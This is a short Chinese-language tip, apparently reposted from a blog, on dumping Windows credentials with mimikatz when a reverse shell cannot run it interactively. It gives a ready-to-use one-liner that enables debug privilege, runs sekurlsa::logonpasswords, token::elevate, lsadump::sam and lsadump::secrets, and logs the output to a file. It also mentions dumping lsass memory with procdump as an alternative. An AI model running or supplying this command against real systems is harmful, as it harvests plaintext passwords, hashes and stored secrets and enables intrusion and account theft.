有些时候无法反弹shell执行mimikatz，虽然可以用procdump导出lsass的内存dump文件，之后本地获取明文密码，但多少有点麻烦，其实mimikatz也支持命令行直接导出
mimikatz.exe privilege::debug "log filename.log" sekurlsa::logonpasswords token::elevate lsadump::sam lsadump::secrets exit
原文：http://www.cnblogs.com/hookjoy/p/4638570.html